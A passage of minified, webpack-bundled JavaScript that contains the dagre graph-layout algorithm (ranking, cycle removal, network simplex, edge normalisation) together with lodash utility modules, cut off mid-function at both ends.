i(e,t,r,a,o,s){if(!n.has(a,t)){a[t]=true;if(!r){s.push(t)}n.each(o(t),(function(t){i(e,t,r,a,o,s)}));if(r){s.push(t)}}}},(e,t,r)=>{var n=r(372);e.exports=a;function a(e,t){return n(e,t,"pre")}},(e,t,r)=>{var n=r(164);var a=r(163);var i=r(364);e.exports=o;function o(e,t){var r=new a;var o={};var s=new i;var u;function l(e){var r=e.v===u?e.w:e.v;var n=s.priority(r);if(n!==undefined){var a=t(e);if(a<n){o[r]=u;s.decrease(r,a)}}}if(e.nodeCount()===0){return r}n.each(e.nodes(),(function(e){s.add(e,Number.POSITIVE_INFINITY);r.setNode(e)}));s.decrease(e.nodes()[0],0);var f=false;while(s.size()>0){u=s.removeMin();if(n.has(o,u)){r.setEdge(u,o[u])}else if(f){throw new Error("Input graph is not connected: "+e)}else{f=true}e.nodeEdges(u).forEach(l)}return r}},(e,t,r)=>{"use strict";var n=r(376);var a=r(423);var i=r(426);var o=r(428);var s=r(427).normalizeRanks;var u=r(432);var l=r(427).removeEmptyRanks;var f=r(433);var c=r(434);var v=r(435);var d=r(436);var h=r(445);var p=r(427);var g=r(160).Graph;e.exports=y;function y(e,t){var r=t&&t.debugTiming?p.time:p.notime;r("layout",(function(){var t=r("  buildLayoutGraph",(function(){return T(e)}));r("  runLayout",(function(){m(t,r)}));r("  updateInputGraph",(function(){b(e,t)}))}))}function m(e,t){t("    makeSpaceForEdgeLabels",(function(){P(e)}));t("    removeSelfEdges",(function(){j(e)}));t("    acyclic",(function(){a.run(e)}));t("    nestingGraph.run",(function(){f.run(e)}));t("    rank",(function(){o(p.asNonCompoundGraph(e))}));t("    injectEdgeLabelProxies",(function(){M(e)}));t("    removeEmptyRanks",(function(){l(e)}));t("    nestingGraph.cleanup",(function(){f.cleanup(e)}));t("    normalizeRanks",(function(){s(e)}));t("    assignRankMinMax",(function(){I(e)}));t("    removeEdgeLabelProxies",(function(){O(e)}));t("    normalize.run",(function(){i.run(e)}));t("    parentDummyChains",(function(){u(e)}));t("    addBorderSegments",(function(){c(e)}));t("    order",(function(){d(e)}));t("    insertSelfEdges",(function(){R(e)}));t("    adjustCoordinateSystem",(function(){v.adjust(e)}));t("    position",(function(){h(e)}));t("    positionSelfEdges",(function(){F(e)}));t("    removeBorderNodes",(function(){B(e)}));t("    normalize.undo",(function(){i.undo(e)}));t("    fixupEdgeLabelCoords",(function(){A(e)}));t("    undoCoordinateSystem",(function(){v.undo(e)}));t("    translateGraph",(function(){N(e)}));t("    assignNodeIntersects",(function(){z(e)}));t("    reversePoints",(function(){L(e)}));t("    acyclic.undo",(function(){a.undo(e)}))}function b(e,t){n.forEach(e.nodes(),(function(r){var n=e.node(r);var a=t.node(r);if(n){n.x=a.x;n.y=a.y;if(t.children(r).length){n.width=a.width;n.height=a.height}}}));n.forEach(e.edges(),(function(r){var a=e.edge(r);var i=t.edge(r);a.points=i.points;if(n.has(i,"x")){a.x=i.x;a.y=i.y}}));e.graph().width=t.graph().width;e.graph().height=t.graph().height}var x=["nodesep","edgesep","ranksep","marginx","marginy"];var w={ranksep:50,edgesep:20,nodesep:50,rankdir:"tb"};var E=["acyclicer","ranker","rankdir","align"];var _=["width","height"];var k={width:0,height:0};var S=["minlen","weight","width","height","labeloffset"];var C={minlen:1,weight:1,width:0,height:0,labeloffset:10,labelpos:"r"};var D=["labelpos"];function T(e){var t=new g({multigraph:true,compound:true});var r=q(e.graph());t.setGraph(n.merge({},w,V(r,x),n.pick(r,E)));n.forEach(e.nodes(),(function(r){var a=q(e.node(r));t.setNode(r,n.defaults(V(a,_),k));t.setParent(r,e.parent(r))}));n.forEach(e.edges(),(function(r){var a=q(e.edge(r));t.setEdge(r,n.merge({},C,V(a,S),n.pick(a,D)))}));return t}function P(e){var t=e.graph();t.ranksep/=2;n.forEach(e.edges(),(function(r){var n=e.edge(r);n.minlen*=2;if(n.labelpos.toLowerCase()!=="c"){if(t.rankdir==="TB"||t.rankdir==="BT"){n.width+=n.labeloffset}else{n.height+=n.labeloffset}}}))}function M(e){n.forEach(e.edges(),(function(t){var r=e.edge(t);if(r.width&&r.height){var n=e.node(t.v);var a=e.node(t.w);var i={rank:(a.rank-n.rank)/2+n.rank,e:t};p.addDummyNode(e,"edge-proxy",i,"_ep")}}))}function I(e){var t=0;n.forEach(e.nodes(),(function(r){var a=e.node(r);if(a.borderTop){a.minRank=e.node(a.borderTop).rank;a.maxRank=e.node(a.borderBottom).rank;t=n.max(t,a.maxRank)}}));e.graph().maxRank=t}function O(e){n.forEach(e.nodes(),(function(t){var r=e.node(t);if(r.dummy==="edge-proxy"){e.edge(r.e).labelRank=r.rank;e.removeNode(t)}}))}function N(e){var t=Number.POSITIVE_INFINITY;var r=0;var a=Number.POSITIVE_INFINITY;var i=0;var o=e.graph();var s=o.marginx||0;var u=o.marginy||0;function l(e){var n=e.x;var o=e.y;var s=e.width;var u=e.height;t=Math.min(t,n-s/2);r=Math.max(r,n+s/2);a=Math.min(a,o-u/2);i=Math.max(i,o+u/2)}n.forEach(e.nodes(),(function(t){l(e.node(t))}));n.forEach(e.edges(),(function(t){var r=e.edge(t);if(n.has(r,"x")){l(r)}}));t-=s;a-=u;n.forEach(e.nodes(),(function(r){var n=e.node(r);n.x-=t;n.y-=a}));n.forEach(e.edges(),(function(r){var i=e.edge(r);n.forEach(i.points,(function(e){e.x-=t;e.y-=a}));if(n.has(i,"x")){i.x-=t}if(n.has(i,"y")){i.y-=a}}));o.width=r-t+s;o.height=i-a+u}function z(e){n.forEach(e.edges(),(function(t){var r=e.edge(t);var n=e.node(t.v);var a=e.node(t.w);var i,o;if(!r.points){r.points=[];i=a;o=n}else{i=r.points[0];o=r.points[r.points.length-1]}r.points.unshift(p.intersectRect(n,i));r.points.push(p.intersectRect(a,o))}))}function A(e){n.forEach(e.edges(),(function(t){var r=e.edge(t);if(n.has(r,"x")){if(r.labelpos==="l"||r.labelpos==="r"){r.width-=r.labeloffset}switch(r.labelpos){case"l":r.x-=r.width/2+r.labeloffset;break;case"r":r.x+=r.width/2+r.labeloffset;break}}}))}function L(e){n.forEach(e.edges(),(function(t){var r=e.edge(t);if(r.reversed){r.points.reverse()}}))}function B(e){n.forEach(e.nodes(),(function(t){if(e.children(t).length){var r=e.node(t);var a=e.node(r.borderTop);var i=e.node(r.borderBottom);var o=e.node(n.last(r.borderLeft));var s=e.node(n.last(r.borderRight));r.width=Math.abs(s.x-o.x);r.height=Math.abs(i.y-a.y);r.x=o.x+r.width/2;r.y=a.y+r.height/2}}));n.forEach(e.nodes(),(function(t){if(e.node(t).dummy==="border"){e.removeNode(t)}}))}function j(e){n.forEach(e.edges(),(function(t){if(t.v===t.w){var r=e.node(t.v);if(!r.selfEdges){r.selfEdges=[]}r.selfEdges.push({e:t,label:e.edge(t)});e.removeEdge(t)}}))}function R(e){var t=p.buildLayerMatrix(e);n.forEach(t,(function(t){var r=0;n.forEach(t,(function(t,a){var i=e.node(t);i.order=a+r;n.forEach(i.selfEdges,(function(t){p.addDummyNode(e,"selfedge",{width:t.label.width,height:t.label.height,rank:i.rank,order:a+ ++r,e:t.e,label:t.label},"_se")}));delete i.selfEdges}))}))}function F(e){n.forEach(e.nodes(),(function(t){var r=e.node(t);if(r.dummy==="selfedge"){var n=e.node(r.e.v);var a=n.x+n.width/2;var i=n.y;var o=r.x-a;var s=n.height/2;e.setEdge(r.e,r.label);e.removeNode(t);r.label.points=[{x:a+2*o/3,y:i-s},{x:a+5*o/6,y:i-s},{x:a+o,y:i},{x:a+5*o/6,y:i+s},{x:a+2*o/3,y:i+s}];r.label.x=r.x;r.label.y=r.y}}))}function V(e,t){return n.mapValues(n.pick(e,t),Number)}function q(e){var t={};n.forEach(e,(function(e,r){t[r.toLowerCase()]=e}));return t}},(e,t,r)=>{var n;if(true){try{n={cloneDeep:r(377),constant:r(273),defaults:r(378),each:r(274),filter:r(283),find:r(380),flatten:r(388),forEach:r(275),forIn:r(389),has:r(322),isUndefined:r(325),last:r(390),map:r(326),mapValues:r(391),max:r(392),merge:r(395),min:r(403),minBy:r(405),now:r(406),pick:r(407),range:r(412),reduce:r(328),sortBy:r(415),uniqueId:r(420),values:r(357),zipObject:r(421)}}catch(e){}}if(!n){n=window._}e.exports=n},(e,t,r)=>{var n=r(166);var a=1,i=4;function o(e){return n(e,a|i)}e.exports=o},(e,t,r)=>{var n=r(341),a=r(172),i=r(379),o=r(238);var s=Object.prototype;var u=s.hasOwnProperty;var l=n((function(e,t){e=Object(e);var r=-1;var n=t.length;var l=n>2?t[2]:undefined;if(l&&i(t[0],t[1],l)){n=1}while(++r<n){var f=t[r];var c=o(f);var v=-1;var d=c.length;while(++v<d){var h=c[v];var p=e[h];if(p===undefined||a(p,s[h])&&!u.call(e,h)){e[h]=f[h]}}}return e}));e.exports=l},(e,t,r)=>{var n=r(172),a=r(236),i=r(226),o=r(191);function s(e,t,r){if(!o(r)){return false}var s=typeof t;if(s=="number"?a(r)&&i(t,r.length):s=="string"&&t in r){return n(r[t],e)}return false}e.exports=s},(e,t,r)=>{var n=r(381),a=r(382);var i=n(a);e.exports=i},(e,t,r)=>{var n=r(285),a=r(236),i=r(217);function o(e){return function(t,r,o){var s=Object(t);if(!a(t)){var u=n(r,3);t=i(t);r=function(e){return u(s[e],e,s)}}var l=e(t,r,o);return l>-1?s[u?t[l]:l]:undefined}}e.exports=o},(e,t,r)=>{var n=r(350),a=r(285),i=r(383);var o=Math.max;function s(e,t,r){var s=e==null?0:e.length;if(!s){return-1}var u=r==null?0:i(r);if(u<0){u=o(s+u,0)}return n(e,a(t,3),u)}e.exports=s},(e,t,r)=>{var n=r(384);function a(e){var t=n(e),r=t%1;return t===t?r?t-r:t:0}e.exports=a},(e,t,r)=>{var n=r(385);var a=1/0,i=17976931348623157e292;function o(e){if(!e){return e===0?e:0}e=n(e);if(e===a||e===-a){var t=e<0?-1:1;return t*i}return e===e?e:0}e.exports=o},(e,t,r)=>{var n=r(386),a=r(191),i=r(308);var o=0/0;var s=/^[-+]0x[0-9a-f]+$/i;var u=/^0b[01]+$/i;var l=/^0o[0-7]+$/i;var f=parseInt;function c(e){if(typeof e=="number"){return e}if(i(e)){return o}if(a(e)){var t=typeof e.valueOf=="function"?e.valueOf():e;e=a(t)?t+"":t}if(typeof e!="string"){return e===0?e:+e}e=n(e);var r=u.test(e);return r||l.test(e)?f(e.slice(2),r?2:8):s.test(e)?o:+e}e.exports=c},(e,t,r)=>{var n=r(387);var a=/^\s+/;function i(e){return e?e.slice(0,n(e)+1).replace(a,""):e}e.exports=i},e=>{var t=/\s/;function r(e){var r=e.length;while(r--&&t.test(e.charAt(r))){}return r}e.exports=r},(e,t,r)=>{var n=r(339);function a(e){var t=e==null?0:e.length;return t?n(e,1):[]}e.exports=a},(e,t,r)=>{var n=r(278),a=r(281),i=r(238);function o(e,t){return e==null?e:n(e,a(t),i)}e.exports=o},e=>{function t(e){var t=e==null?0:e.length;return t?e[t-1]:undefined}e.exports=t},(e,t,r)=>{var n=r(213),a=r(277),i=r(285);function o(e,t){var r={};t=i(t,3);a(e,(function(e,a,i){n(r,a,t(e,a,i))}));return r}e.exports=o},(e,t,r)=>{var n=r(393),a=r(394),i=r(282);function o(e){return e&&e.length?n(e,i,a):undefined}e.exports=o},(e,t,r)=>{var n=r(308);function a(e,t,r){var a=-1,i=e.length;while(++a<i){var o=e[a],s=t(o);if(s!=null&&(u===undefined?s===s&&!n(s):r(s,u))){var u=s,l=o}}return l}e.exports=a},e=>{function t(e,t){return e>t}e.exports=t},(e,t,r)=>{var n=r(396),a=r(402);var i=a((function(e,t,r){n(e,t,r)}));e.exports=i},(e,t,r)=>{var n=r(167),a=r(397),i=r(278),o=r(398),s=r(191),u=r(238),l=r(400);function f(e,t,r,c,v){if(e===t){return}i(t,(function(i,u){v||(v=new n);if(s(i)){o(e,t,u,r,f,c,v)}else{var d=c?c(l(e,u),i,u+"",e,t,v):undefined;if(d===undefined){d=i}a(e,u,d)}}),u)}e.exports=f},(e,t,r)=>{var n=r(213),a=r(172);function i(e,t,r){if(r!==undefined&&!a(e[t],r)||r===undefined&&!(t in e)){n(e,t,r)}}e.exports=i},(e,t,r)=>{var n=r(397),a=r(241),i=r(266),o=r(242),s=r(267),u=r(220),l=r(223),f=r(356),c=r(224),v=r(184),d=r(191),h=r(399),p=r(227),g=r(400),y=r(401);function m(e,t,r,m,b,x,w){var E=g(e,r),_=g(t,r),k=w.get(_);if(k){n(e,r,k);return}var S=x?x(E,_,r+"",e,t,w):undefined;var C=S===undefined;if(C){var D=l(_),T=!D&&c(_),P=!D&&!T&&p(_);S=_;if(D||T||P){if(l(E)){S=E}else if(f(E)){S=o(E)}else if(T){C=false;S=a(_,true)}else if(P){C=false;S=i(_,true)}else{S=[]}}else if(h(_)||u(_)){S=E;if(u(E)){S=y(E)}else if(!d(E)||v(E)){S=s(_)}}else{C=false}}if(C){w.set(_,S);b(S,_,m,x,w);w["delete"](_)}n(e,r,S)}e.exports=m},(e,t,r)=>{var n=r(185),a=r(250),i=r(222);var o="[object Object]";var s=Function.prototype,u=Object.prototype;var l=s.toString;var f=u.hasOwnProperty;var c=l.call(Object);function v(e){if(!i(e)||n(e)!=o){return false}var t=a(e);if(t===null){return true}var r=f.call(t,"constructor")&&t.constructor;return typeof r=="function"&&r instanceof r&&l.call(r)==c}e.exports=v},e=>{function t(e,t){if(t==="constructor"&&typeof e[t]==="function"){return}if(t=="__proto__"){return}return e[t]}e.exports=t},(e,t,r)=>{var n=r(216),a=r(238);function i(e){return n(e,a(e))}e.exports=i},(e,t,r)=>{var n=r(341),a=r(379);function i(e){return n((function(t,r){var n=-1,i=r.length,o=i>1?r[i-1]:undefined,s=i>2?r[2]:undefined;o=e.length>3&&typeof o=="function"?(i--,o):undefined;if(s&&a(r[0],r[1],s)){o=i<3?undefined:o;i=1}t=Object(t);while(++n<i){var u=r[n];if(u){e(t,u,n,o)}}return t}))}e.exports=i},(e,t,r)=>{var n=r(393),a=r(404),i=r(282);function o(e){return e&&e.length?n(e,i,a):undefined}e.exports=o},e=>{function t(e,t){return e<t}e.exports=t},(e,t,r)=>{var n=r(393),a=r(285),i=r(404);function o(e,t){return e&&e.length?n(e,a(t,2),i):undefined}e.exports=o},(e,t,r)=>{var n=r(187);var a=function(){return n.Date.now()};e.exports=a},(e,t,r)=>{var n=r(408),a=r(411);var i=a((function(e,t){return e==null?{}:n(e,t)}));e.exports=i},(e,t,r)=>{var n=r(409),a=r(316);function i(e,t){return n(e,t,(function(t,r){return a(e,r)}))}e.exports=i},(e,t,r)=>{var n=r(305),a=r(410),i=r(306);function o(e,t,r){var o=-1,s=t.length,u={};while(++o<s){var l=t[o],f=n(e,l);if(r(f,l)){a(u,i(l,e),f)}}return u}e.exports=o},(e,t,r)=>{var n=r(212),a=r(306),i=r(226),o=r(191),s=r(315);function u(e,t,r,u){if(!o(e)){return e}t=a(t,e);var l=-1,f=t.length,c=f-1,v=e;while(v!=null&&++l<f){var d=s(t[l]),h=r;if(d==="__proto__"||d==="constructor"||d==="prototype"){return e}if(l!=c){var p=v[d];h=u?u(p,d,v):undefined;if(h===undefined){h=o(p)?p:i(t[l+1])?[]:{}}}n(v,d,h);v=v[d]}return e}e.exports=u},(e,t,r)=>{var n=r(388),a=r(342),i=r(344);function o(e){return i(a(e,undefined,n),e+"")}e.exports=o},(e,t,r)=>{var n=r(413);var a=n();e.exports=a},(e,t,r)=>{var n=r(414),a=r(379),i=r(384);function o(e){return function(t,r,o){if(o&&typeof o!="number"&&a(t,r,o)){r=o=undefined}t=i(t);if(r===undefined){r=t;t=0}else{r=i(r)}o=o===undefined?t<r?1:-1:i(o);return n(t,r,o,e)}}e.exports=o},e=>{var t=Math.ceil,r=Math.max;function n(e,n,a,i){var o=-1,s=r(t((n-e)/(a||1)),0),u=Array(s);while(s--){u[i?s:++o]=e;e+=a}return u}e.exports=n},(e,t,r)=>{var n=r(339),a=r(416),i=r(341),o=r(379);var s=i((function(e,t){if(e==null){return[]}var r=t.length;if(r>1&&o(e,t[0],t[1])){t=[]}else if(r>2&&o(t[0],t[1],t[2])){t=[t[0]]}return a(e,n(t,1),[])}));e.exports=s},(e,t,r)=>{var n=r(314),a=r(305),i=r(285),o=r(327),s=r(417),u=r(230),l=r(418),f=r(282),c=r(223);function v(e,t,r){if(t.length){t=n(t,(function(e){if(c(e)){return function(t){return a(t,e.length===1?e[0]:e)}}return e}))}else{t=[f]}var v=-1;t=n(t,u(i));var d=o(e,(function(e,r,a){var i=n(t,(function(t){return t(e)}));return{criteria:i,index:++v,value:e}}));return s(d,(function(e,t){return l(e,t,r)}))}e.exports=v},e=>{function t(e,t){var r=e.length;e.sort(t);while(r--){e[r]=e[r].value}return e}e.exports=t},(e,t,r)=>{var n=r(419);function a(e,t,r){var a=-1,i=e.criteria,o=t.criteria,s=i.length,u=r.length;while(++a<s){var l=n(i[a],o[a]);if(l){if(a>=u){return l}var f=r[a];return l*(f=="desc"?-1:1)}}return e.index-t.index}e.exports=a},(e,t,r)=>{var n=r(308);function a(e,t){if(e!==t){var r=e!==undefined,a=e===null,i=e===e,o=n(e);var s=t!==undefined,u=t===null,l=t===t,f=n(t);if(!u&&!f&&!o&&e>t||o&&s&&l&&!u&&!f||a&&s&&l||!r&&l||!i){return 1}if(!a&&!o&&!f&&e<t||f&&r&&i&&!a&&!o||u&&r&&i||!s&&i||!l){return-1}}return 0}e.exports=a},(e,t,r)=>{var n=r(312);var a=0;function i(e){var t=++a;return n(e)+t}e.exports=i},(e,t,r)=>{var n=r(212),a=r(422);function i(e,t){return a(e||[],t||[],n)}e.exports=i},e=>{function t(e,t,r){var n=-1,a=e.length,i=t.length,o={};while(++n<a){var s=n<i?t[n]:undefined;r(o,e[n],s)}return o}e.exports=t},(e,t,r)=>{"use strict";var n=r(376);var a=r(424);e.exports={run:i,undo:s};function i(e){var t=e.graph().acyclicer==="greedy"?a(e,r(e)):o(e);n.forEach(t,(function(t){var r=e.edge(t);e.removeEdge(t);r.forwardName=t.name;r.reversed=true;e.setEdge(t.w,t.v,r,n.uniqueId("rev"))}));function r(e){return function(t){return e.edge(t).weight}}}function o(e){var t=[];var r={};var a={};function i(o){if(n.has(a,o)){return}a[o]=true;r[o]=true;n.forEach(e.outEdges(o),(function(e){if(n.has(r,e.w)){t.push(e)}else{i(e.w)}}));delete r[o]}n.forEach(e.nodes(),i);return t}function s(e){n.forEach(e.edges(),(function(t){var r=e.edge(t);if(r.reversed){e.removeEdge(t);var n=r.forwardName;delete r.reversed;delete r.forwardName;e.setEdge(t.w,t.v,r,n)}}))}},(e,t,r)=>{var n=r(376);var a=r(160).Graph;var i=r(425);e.exports=s;var o=n.constant(1);function s(e,t){if(e.nodeCount()<=1){return[]}var r=f(e,t||o);var a=u(r.graph,r.buckets,r.zeroIdx);return n.flatten(n.map(a,(function(t){return e.outEdges(t.v,t.w)})),true)}function u(e,t,r){var n=[];var a=t[t.length-1];var i=t[0];var o;while(e.nodeCount()){while(o=i.dequeue()){l(e,t,r,o)}while(o=a.dequeue()){l(e,t,r,o)}if(e.nodeCount()){for(var s=t.length-2;s>0;--s){o=t[s].dequeue();if(o){n=n.concat(l(e,t,r,o,true));break}}}}return n}function l(e,t,r,a,i){var o=i?[]:undefined;n.forEach(e.inEdges(a.v),(function(n){var a=e.edge(n);var s=e.node(n.v);if(i){o.push({v:n.v,w:n.w})}s.out-=a;c(t,r,s)}));n.forEach(e.outEdges(a.v),(function(n){var a=e.edge(n);var i=n.w;var o=e.node(i);o["in"]-=a;c(t,r,o)}));e.removeNode(a.v);return o}function f(e,t){var r=new a;var o=0;var s=0;n.forEach(e.nodes(),(function(e){r.setNode(e,{v:e,in:0,out:0})}));n.forEach(e.edges(),(function(e){var n=r.edge(e.v,e.w)||0;var a=t(e);var i=n+a;r.setEdge(e.v,e.w,i);s=Math.max(s,r.node(e.v).out+=a);o=Math.max(o,r.node(e.w)["in"]+=a)}));var u=n.range(s+o+3).map((function(){return new i}));var l=o+1;n.forEach(r.nodes(),(function(e){c(u,l,r.node(e))}));return{graph:r,buckets:u,zeroIdx:l}}function c(e,t,r){if(!r.out){e[0].enqueue(r)}else if(!r["in"]){e[e.length-1].enqueue(r)}else{e[r.out-r["in"]+t].enqueue(r)}}},e=>{e.exports=t;function t(){var e={};e._next=e._prev=e;this._sentinel=e}t.prototype.dequeue=function(){var e=this._sentinel;var t=e._prev;if(t!==e){r(t);return t}};t.prototype.enqueue=function(e){var t=this._sentinel;if(e._prev&&e._next){r(e)}e._next=t._next;t._next._prev=e;t._next=e;e._prev=t};t.prototype.toString=function(){var e=[];var t=this._sentinel;var r=t._prev;while(r!==t){e.push(JSON.stringify(r,n));r=r._prev}return"["+e.join(", ")+"]"};function r(e){e._prev._next=e._next;e._next._prev=e._prev;delete e._next;delete e._prev}function n(e,t){if(e!=="_next"&&e!=="_prev"){return t}}},(e,t,r)=>{"use strict";var n=r(376);var a=r(427);e.exports={run:i,undo:s};function i(e){e.graph().dummyChains=[];n.forEach(e.edges(),(function(t){o(e,t)}))}function o(e,t){var r=t.v;var n=e.node(r).rank;var i=t.w;var o=e.node(i).rank;var s=t.name;var u=e.edge(t);var l=u.labelRank;if(o===n+1)return;e.removeEdge(t);var f,c,v;for(v=0,++n;n<o;++v,++n){u.points=[];c={width:0,height:0,edgeLabel:u,edgeObj:t,rank:n};f=a.addDummyNode(e,"edge",c,"_d");if(n===l){c.width=u.width;c.height=u.height;c.dummy="edge-label";c.labelpos=u.labelpos}e.setEdge(r,f,{weight:u.weight},s);if(v===0){e.graph().dummyChains.push(f)}r=f}e.setEdge(r,i,{weight:u.weight},s)}function s(e){n.forEach(e.graph().dummyChains,(function(t){var r=e.node(t);var n=r.edgeLabel;var a;e.setEdge(r.edgeObj,n);while(r.dummy){a=e.successors(t)[0];e.removeNode(t);n.points.push({x:r.x,y:r.y});if(r.dummy==="edge-label"){n.x=r.x;n.y=r.y;n.width=r.width;n.height=r.height}t=a;r=e.node(t)}}))}},(e,t,r)=>{"use strict";var n=r(376);var a=r(160).Graph;e.exports={addDummyNode:i,simplify:o,asNonCompoundGraph:s,successorWeights:u,predecessorWeights:l,intersectRect:f,buildLayerMatrix:c,normalizeRanks:v,removeEmptyRanks:d,addBorderNode:h,maxRank:p,partition:g,time:y,notime:m};function i(e,t,r,a){var i;do{i=n.uniqueId(a)}while(e.hasNode(i));r.dummy=t;e.setNode(i,r);return i}function o(e){var t=(new a).setGraph(e.graph());n.forEach(e.nodes(),(function(r){t.setNode(r,e.node(r))}));n.forEach(e.edges(),(function(r){var n=t.edge(r.v,r.w)||{weight:0,minlen:1};var a=e.edge(r);t.setEdge(r.v,r.w,{weight:n.weight+a.weight,minlen:Math.max(n.minlen,a.minlen)})}));return t}function s(e){var t=new a({multigraph:e.isMultigraph()}).setGraph(e.graph());n.forEach(e.nodes(),(function(r){if(!e.children(r).length){t.setNode(r,e.node(r))}}));n.forEach(e.edges(),(function(r){t.setEdge(r,e.edge(r))}));return t}function u(e){var t=n.map(e.nodes(),(function(t){var r={};n.forEach(e.outEdges(t),(function(t){r[t.w]=(r[t.w]||0)+e.edge(t).weight}));return r}));return n.zipObject(e.nodes(),t)}function l(e){var t=n.map(e.nodes(),(function(t){var r={};n.forEach(e.inEdges(t),(function(t){r[t.v]=(r[t.v]||0)+e.edge(t).weight}));return r}));return n.zipObject(e.nodes(),t)}function f(e,t){var r=e.x;var n=e.y;var a=t.x-r;var i=t.y-n;var o=e.width/2;var s=e.height/2;if(!a&&!i){throw new Error("Not possible to find intersection inside of the rectangle")}var u,l;if(Math.abs(i)*o>Math.abs(a)*s){if(i<0){s=-s}u=s*a/i;l=s}else{if(a<0){o=-o}u=o;l=o*i/a}return{x:r+u,y:n+l}}function c(e){var t=n.map(n.range(p(e)+1),(function(){return[]}));n.forEach(e.nodes(),(function(r){var a=e.node(r);var i=a.rank;if(!n.isUndefined(i)){t[i][a.order]=r}}));return t}function v(e){var t=n.min(n.map(e.nodes(),(function(t){return e.node(t).rank})));n.forEach(e.nodes(),(function(r){var a=e.node(r);if(n.has(a,"rank")){a.rank-=t}}))}function d(e){var t=n.min(n.map(e.nodes(),(function(t){return e.node(t).rank})));var r=[];n.forEach(e.nodes(),(function(n){var a=e.node(n).rank-t;if(!r[a]){r[a]=[]}r[a].push(n)}));var a=0;var i=e.graph().nodeRankFactor;n.forEach(r,(function(t,r){if(n.isUndefined(t)&&r%i!==0){--a}else if(a){n.forEach(t,(function(t){e.node(t).rank+=a}))}}))}function h(e,t,r,n){var a={width:0,height:0};if(arguments.length>=4){a.rank=r;a.order=n}return i(e,"border",a,t)}function p(e){return n.max(n.map(e.nodes(),(function(t){var r=e.node(t).rank;if(!n.isUndefined(r)){return r}})))}function g(e,t){var r={lhs:[],rhs:[]};n.forEach(e,(function(e){if(t(e)){r.lhs.push(e)}else{r.rhs.push(e)}}));return r}function y(e,t){var r=n.now();try{return t()}finally{console.log(e+" time: "+(n.now()-r)+"ms")}}function m(e,t){return t()}},(e,t,r)=>{"use strict";var n=r(429);var a=n.longestPath;var i=r(430);var o=r(431);e.exports=s;function s(e){switch(e.graph().ranker){case"network-simplex":f(e);break;case"tight-tree":l(e);break;case"longest-path":u(e);break;default:f(e)}}var u=a;function l(e){a(e);i(e)}function f(e){o(e)}},(e,t,r)=>{"use strict";var n=r(376);e.exports={longestPath:a,slack:i};function a(e){var t={};function r(a){var i=e.node(a);if(n.has(t,a)){return i.rank}t[a]=true;var o=n.min(n.map(e.outEdges(a),(function(t){return r(t.w)-e.edge(t).minlen})));if(o===Number.POSITIVE_INFINITY||o===undefined||o===null){o=0}return i.rank=o}n.forEach(e.sources(),r)}function i(e,t){return e.node(t.w).rank-e.node(t.v).rank-e.edge(t).minlen}},(e,t,r)=>{"use strict";var n=r(376);var a=r(160).Graph;var i=r(429).slack;e.exports=o;function o(e){var t=new a({directed:false});var r=e.nodes()[0];var n=e.nodeCount();t.setNode(r,{});var o,f;while(s(t,e)<n){o=u(t,e);f=t.hasNode(o.v)?i(e,o):-i(e,o);l(t,e,f)}return t}function s(e,t){function r(a){n.forEach(t.nodeEdges(a),(function(n){var o=n.v,s=a===o?n.w:o;if(!e.hasNode(s)&&!i(t,n)){e.setNode(s,{});e.setEdge(a,s,{});r(s)}}))}n.forEach(e.nodes(),r);return e.nodeCount()}function u(e,t){return n.minBy(t.edges(),(function(r){if(e.hasNode(r.v)!==e.hasNode(r.w)){return i(t,r)}}))}function l(e,t,r){n.forEach(e.nodes(),(function(e){t.node(e).rank+=r}))}},(e,t,r)=>{"use strict";var n=r(376);var a=r(430);var i=r(429).slack;var o=r(429).longestPath;var s=r(160).alg.preorder;var u=r(160).alg.postorder;var l=r(427).simplify;e.exports=f;f.initLowLimValues=h;f.initCutValues=c;f.calcCutValue=d;f.leaveEdge=g;f.enterEdge=y;f.exchangeEdges=m;function f(e){e=l(e);o(e);var t=a(e);h(t);c(t,e);var r,n;while(r=g(t)){n=y(t,e,r);m(t,e,r,n)}}function c(e,t){var r=u(e,e.nodes());r=r.slice(0,r.length-1);n.forEach(r,(function(r){v(e,t,r)}))}function v(e,t,r){var n=e.node(r);var a=n.parent;e.edge(r,a).cutvalue=d(e,t,r)}function d(e,t,r){var a=e.node(r);var i=a.parent;var o=true;var s=t.edge(r,i);var u=0;if(!s){o=false;s=t.edge(i,r)}u=s.weight;n.forEach(t.nodeEdges(r),(function(n){var a=n.v===r,s=a?n.w:n.v;if(s!==i){var l=a===o,f=t.edge(n).weight;u+=l?f:-f;if(x(e,r,s)){var c=e.edge(r,s).cutvalue;u+=l?-c:c}}}));return u}function h(e,t){if(arguments.length<2){t=e.nodes()[0]}p(e,{},1,t)}function p(e,t,r,a,i){var o=r;var s=e.node(a);t[a]=true;n.forEach(e.neighbors(a),(function(i){if(!n.has(t,i)){r=p(e,t,r,i,a)}}));s.low=o;s.lim=r++;if(i){s.parent=i}else{delete s.parent}return r}function g(e){return n.find(e.edges(),(function(t){return e.edge(t).cutvalue<0}))}function y(e,t,r){var a=r.v;var o=r.w;if(!t.hasEdge(a,o)){a=r.w;o=r.v}var s=e.node(a);var u=e.node(o);var l=s;var f=false;if(s.lim>u.lim){l=u;f=true}var c=n.filter(t.edges(),(function(t){return f===w(e,e.node(t.v),l)&&f!==w(e,e.node(t.w),l)}));return n.minBy(c,(function(e){return i(t,e)}))}function m(e,t,r,n){var a=r.v;var i=r.w;e.removeEdge(a,i);e.setEdge(n.v,n.w,{});h(e);c(e,t);b(e,t)}function b(e,t){var r=n.find(e.nodes(),(function(e){return!t.node(e).parent}));var a=s(e,r);a=a.slice(1);n.forEach(a,(function(r){var n=e.node(r).parent,a=t.edge(r,n),i=false;if(!a){a=t.edge(n,r);i=true}t.node(r).rank=t.node(n).rank+(i?a.minlen:-a.minlen)}))}function x(e,t,r){return e.hasEdge(t,r)}function w(e,t,r){return r.low<=t.lim&&t.lim<=r.lim}},(e,t,r)=>{var n=r(376);e.exports=a;function a(e){var t=o(e);n.forEach(e.graph().dummyChains,(function(r){var n=e.node(r);var a=n.edgeObj;var o=i(e,t,a.v,a.w);var s=o.path;var u=o.lca;var l=0;var f=s[l];var c=true;while(r!==a.w){n=e.node(r);if(c){while((f=s[l])!==u&&e.node(f).maxRank<n.rank){l++}if(f===u){c=false}}if(!c){while(l<s.length-1&&e.node(f=s[l+1]).minRank<=n.rank){l++}f=s[l]}e.setParent(r,f);r=e.successors(r)[0]}}))}function i(e,t,r,n){var a=[];var i=[];var o=Math.min(t[r].low,t[n].low);var s=Math.max(t[r].lim,t[n].lim);var u;var 